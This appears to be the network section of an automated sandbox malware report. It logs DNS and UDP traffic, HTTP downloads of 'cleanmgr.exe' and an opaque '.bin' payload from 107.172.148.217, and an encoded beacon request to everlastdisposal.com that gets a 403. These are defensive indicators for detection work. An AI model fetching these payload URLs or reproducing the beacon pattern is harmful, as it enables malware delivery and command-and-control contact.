Network Analysis
| Name | Response | Post-Analysis Lookup |
|---|---|---|
| www.everlastdisposal.com | 15.197.204.56 | |
| www.solarcyborg.com | ||
| www.h59f07jy.cfd |
- UDP Requests
-
-
192.168.56.102:56630 164.124.101.2:53
-
192.168.56.102:62846 164.124.101.2:53
-
192.168.56.102:63709 164.124.101.2:53
-
192.168.56.102:64513 164.124.101.2:53
-
192.168.56.102:137 192.168.56.255:137
-
192.168.56.102:138 192.168.56.255:138
-
192.168.56.102:49152 239.255.255.250:3702
-
192.168.56.102:64517 239.255.255.250:1900
-
52.231.114.183:123 192.168.56.102:123
-
GET
200
http://107.172.148.217/24/cleanmgr.exe
REQUEST
RESPONSE
BODY
GET /24/cleanmgr.exe HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E; InfoPath.3; MARKANYEPS#25118)
Host: 107.172.148.217
Connection: Keep-Alive
HTTP/1.1 200 OK
Date: Thu, 08 Jun 2023 08:56:53 GMT
Server: Apache/2.4.53 (Win64) OpenSSL/1.1.1n PHP/8.1.6
Last-Modified: Wed, 07 Jun 2023 01:25:17 GMT
ETag: "13ca20-5fd8002237693"
Accept-Ranges: bytes
Content-Length: 1296928
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: application/x-msdownload
GET
200
http://107.172.148.217/cl/cc/GxwFzwcvtovTBxiVO240.bin
REQUEST
RESPONSE
BODY
GET /cl/cc/GxwFzwcvtovTBxiVO240.bin HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/112.0
Host: 107.172.148.217
Cache-Control: no-cache
HTTP/1.1 200 OK
Date: Thu, 08 Jun 2023 08:57:28 GMT
Server: Apache/2.4.53 (Win64) OpenSSL/1.1.1n PHP/8.1.6
Last-Modified: Wed, 07 Jun 2023 01:23:51 GMT
ETag: "2e440-5fd7ffd059972"
Accept-Ranges: bytes
Content-Length: 189504
Content-Type: application/octet-stream
GET
403
http://www.everlastdisposal.com/btrd/?Wz=p2F9PZF+YDMdIDbehdEmtTqgeS1h9oFef91gXfMh2Udnn4lDKN26Dl1fq4W90inelrKmdT0H&vB=lhrxP
REQUEST
RESPONSE
BODY
GET /btrd/?Wz=p2F9PZF+YDMdIDbehdEmtTqgeS1h9oFef91gXfMh2Udnn4lDKN26Dl1fq4W90inelrKmdT0H&vB=lhrxP HTTP/1.1
Host: www.everlastdisposal.com
Connection: close
HTTP/1.1 403 Forbidden
Server: openresty
Date: Thu, 08 Jun 2023 08:58:22 GMT
Content-Type: text/html
Content-Length: 150
Connection: close
ICMP traffic
No ICMP traffic performed.
IRC traffic
No IRC requests performed.
Suricata Alerts
Suricata TLS
No Suricata TLS
Snort Alerts
No Snort Alerts